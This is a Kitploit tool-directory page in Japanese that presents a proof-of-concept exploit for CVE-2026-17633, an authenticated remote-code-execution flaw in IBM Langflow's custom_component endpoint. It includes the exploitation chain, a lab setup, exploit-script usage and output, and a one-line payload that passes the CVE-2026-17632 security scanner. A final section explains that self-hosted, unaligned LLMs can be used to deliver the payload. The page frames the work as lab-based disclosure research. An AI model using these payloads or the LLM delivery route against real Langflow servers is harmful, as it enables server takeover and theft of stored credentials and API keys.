Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
langflow-CVE-2026-17633-PoC — CVE-2026-17633 の PoC — IBM Langflow OSS 1.0.0~1.10.3 における custom_component エンドポイント経由の認証済み RCE。CVE-2026-17632 の AST スキャナーバイパス調査を含む。 | Kitploit
ツール/GitHubGitHub/oscar-collado/langflow-cve-2026-17633-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHuboscar-collado/langflow-cve-2026-17633-poc

langflow-CVE-2026-17633-PoC

CVE-2026-17633 の PoC — IBM Langflow OSS 1.0.0~1.10.3 における custom_component エンドポイント経由の認証済み RCE。CVE-2026-17632 の AST スキャナーバイパス調査を含む。

リポジトリを見る
14時間42分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-17633 & CVE-2026-17632 — IBM Langflow OSS RCE

教育目的のみ。所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステムに対してのみ使用してください。


1. はじめに

Langflowとは

Langflowは、LLMを活用したアプリケーションやAIエージェントワークフローを構築するためのオープンソースのローコードプラットフォームです。ユーザーがコンポーネント(モデル、リトリーバー、ツール、メモリ、カスタムPythonコードなど)を接続して実行可能なフローを作成できる、ビジュアルなドラッグ&ドロップインターフェースを提供します。そのCustom Component機能では、ユーザーがPythonで直接コンポーネントの動作を定義できますが、これが本研究で悪用された攻撃対象領域です。

IBMセキュリティ速報 — 2026年8月バッチ

2026年8月5日、IBMはLangflow OSSバージョン1.0.0から1.10.3に影響する一連の脆弱性を開示するセキュリティ速報を公開しました。完全な速報は以下で入手できます:

https://www.ibm.com/support/pages/node/7282646

本研究は、このバッチに含まれる2つのCVEに焦点を当てています:

CVECVSS概要
CVE-2026-176338.5 HIGH/api/v1/custom_component を介した認証済みRCE — コードがセキュリティスキャンなしで直接 exec() に渡される
CVE-2026-176328.8 HIGHASTセキュリティスキャナのバイパス — 細工されたPythonコードが任意のOSコマンドを実行しつつ、is_safe: True で scan_code_security() を通過する

両CVEは、Langflow 1.10.3の静的ソースコード解析を通じて独自に発見されました。

本研究の範囲

  • 主要PoC: CVE-2026-17633 — 動作するエクスプロイトスクリプトによるエンドツーエンドの実証
  • 研究上の発見: CVE-2026-17632 — ASTスキャナのバイパスをローカルで確認。LLMを介した配信には、セクション5に記載する実用的な制約がある
  • ラボ環境: Kali Linux上のDockerで実行されるLangflow OSS 1.10.3

免責事項

本研究は、自己ホスト型のLangflowインスタンスに対して、隔離されたラボ環境で実施されました。すべての調査結果は責任を持って開示されています。明示的な書面による許可なくシステムに対してこれを使用しないでください。


2. CVE-2026-17633 — 技術分析

脆弱性の説明

Langflow OSS 1.0.0~1.10.3の POST /api/v1/custom_component エンドポイントは、認証済みユーザーから任意のPythonコードを受け取り、Pythonの exec() 関数を介してサーバー側で実行します。Agentic Assistantの経路とは異なり、このエンドポイントは実行前に scan_code_security() やその他のASTベースのコンテンツ検証を呼び出しません。認証済みユーザーであれば誰でも、単一のHTTPリクエストでリモートコード実行を達成できます。

CWE-94 — コード生成の不適切な制御

/api/v1/custom_component エンドポイント

ソース: langflow/api/v1/endpoints.py — 1271行目

root@kitploit:~
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true の場合(本番環境のデプロイでよく見られる)、コードはコンテンツ検査を一切受けずに build_custom_component_template() に直接渡されます。

なぜ脆弱なのか — prepare_global_scope() と ast.Expr

実行チェーンは lfx/custom/validate.py の create_class() に至り、クラスをコンパイル・実行する前に prepare_global_scope() を呼び出します:

root@kitploit:~
def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

モジュールレベルでの裸の関数呼び出し(例: os.system(...))は ast.Expr ノードであり、isinstance チェックに一致せず、黙って破棄されます。しかし、クラス本体の内部に配置されたコードは ClassDef ノードの一部であり、compile_class_code() 内で exec() を介してクラスが定義されるときに完全に実行されます。

これが重要な洞察です: ペイロードはモジュールレベルではなく、クラス本体の内部に配置する必要があります。

root@kitploit:~
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

悪用チェーン

root@kitploit:~
Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

LLMは不要。スキャナのバイパスも不要。単一のHTTPリクエストのみ。


3. ラボのセットアップ

前提条件

要件値
ホストOSKali Linux(検証済み)
DockerCE 5.x + Composeプラグイン v2
Langflowイメージlangflowai/langflow:1.10.3
RAMコンテナ用に最低4 GB

Docker Compose設定

ラボ用のディレクトリを作成し、以下を docker-compose.yml として保存します:

root@kitploit:~
services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

ラボを起動します:

root@kitploit:~
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

有効なトークンの取得

上記で定義したスーパーユーザー認証情報を使用して http://127.0.0.1:7860 にログインします。アクセストークンはブラウザのCookie access_token_lf に保存されます。あるいは、API経由で取得することもできます:

root@kitploit:~
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

レスポンスから access_token の値をコピーします。


4. PoCの実行

使用方法

root@kitploit:~
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

基本的な実行

root@kitploit:~
python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

期待される出力:

root@kitploit:~
============================================================
 PoC CVE-2026-17633 — Langflow Custom Component RCE
 CVSS 8.5 HIGH — Authenticated RCE
 IBM Langflow OSS 1.0.0 – 1.10.3
============================================================

[*] Health:  {"status":"ok"}
[*] Target:   http://127.0.0.1:7860/api/v1/custom_component
[*] Command:  id > /tmp/pwned.txt
[*] Vector:   class body exec() — no scanner

[*] HTTP Status: 200

============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt

[*] Verify the effect on the server:
    docker exec <container_id> cat /tmp/pwned.txt

RCEの検証

root@kitploit:~
docker exec <container_id> cat /tmp/pwned.txt

期待される出力:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

注記: Langflow 1.10.3はコンテナ内でrootではなく uid=1000(user) として実行されます。ただし、コンテナ内ではこのユーザーは gid=0(root) に属しており、そこからホストや接続されたサービス(LLMプロバイダのAPIキー、データベース認証情報、ベクターストアのトークン)への横展開が現実的なポストエクスプロイトのシナリオとなります。


5. 関連する発見 — CVE-2026-17632

発見の経緯

CVE-2026-17633を理解するためにLangflow 1.10.3のソースコードを分析する中で、Agentic Assistantのコード経路も調査されました。これにより、LLMが生成したコンポーネントコードが validate_component_runtime() に到達する前に適用されるASTベースのセキュリティスキャナである langflow/agentic/helpers/code_security.py の scan_code_security() が発見されました。

このスキャナは高度です: インポートエイリアスを追跡し、ワイルドカードインポートを検出し、getattr() リフレクションを処理し、危険な呼び出し(os.system、subprocess、exec、eval、__import__ など)の包括的なリストをブロックします。

ASTスキャナのギャップ

DANGEROUS_CALLS を注意深く分析した結果、欠落しているエントリが明らかになりました:

root@kitploit:~
DANGEROUS_CALLS: dict[str, str] = {
    "exec":         "Use of exec() is forbidden in components",
    "eval":         "Use of eval() is forbidden in components",
    "compile":      "Use of compile() is forbidden in components",
    "__import__":   "Use of __import__() is forbidden in components",
    "globals":      "Use of globals() is forbidden in components",
    "open":         "Use of open() is forbidden in components",
    "breakpoint":   "Use of breakpoint() is forbidden in components",
    # "vars" → NOT PRESENT ← gap identified here
}

vars() が存在しません。create_class() の exec() コンテキストでは、vars() は exec_globals を返し、これには validate.py のモジュールグローバルから継承された importlib が含まれています。さらに、["__builtins__"] は属性アクセス(ast.Attribute)ではなく添字アクセス(ast.Subscript)であるため、visit_Attribute() と DANGEROUS_DUNDER_ATTRS がこれを検査することはありません。

バイパスの証明 — is_safe: True

以下のペイロードは、違反ゼロで scan_code_security() を通過します:

root@kitploit:~
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")

コンテナ内でスキャナに対して直接検証されました:

root@kitploit:~
from langflow.agentic.helpers.code_security import scan_code_security

test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)

出力:

root@kitploit:~
is_safe: True
violations: ()

RCEの実行は、create_class() が使用するのと同じ exec() コンテキストでバイパスを直接実行することによっても確認されました:

root@kitploit:~
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)

/tmp/pwned.txt の出力:

root@kitploit:~
uid=1000(user) gid=0(root) groups=0(root)

LLMを介した配信の制約

CVE-2026-17632はAgentic Assistantの経路を通じて悪用されます:

root@kitploit:~
POST /api/v1/agentic/assist/stream
  → LLM generates Python component code
  → extract_component_code() extracts the ```python``` block
  → validate_component_code()        — AST structural check → PASS
  → scan_code_security()             — bypass via vars()    → PASS (is_safe: True)
  → validate_component_runtime()     — exec() without sandbox → RCE

配信メカニズムは、LLMがそのレスポンス内でバイパスペイロードを逐語的に再現することを必要とします。実際には、コンテンツ安全フィルタを備えたクラウドホスト型LLM(OpenAI、Anthropic、ほとんどのOpenRouter無料モデル)は、セキュリティ研究やドキュメントとして提示された場合でも、__import__、os.system、または類似のパターンを含むペイロードの出力を拒否します。

これは現実世界の悪用においても現実的な制約です: クラウドLLMプロバイダが設定されたLangflowインスタンスを標的とする攻撃者も、同じコンテンツフィルタに直面することになります。この脆弱性は、自己ホスト型モデル(Ollama、vLLM、LM Studio)や安全アラインメントなしのプライベートなファインチューニング済みモデルを使用するデプロイに対しては完全に悪用可能であり、これらはエンタープライズのLangflowデプロイのかなりの部分を占めています。

ASTスキャナのバイパス(is_safe: True)と exec() RCEは独立して確認されています。LLMを介したエンドツーエンドの配信チェーンが、CVE-2026-17632の未解決の研究課題です。


研究は隔離されたラボ環境でLangflow OSS 1.10.3に対して実施されました。 IBMセキュリティ速報: https://www.ibm.com/support/pages/node/7282646

ツールをダウンロード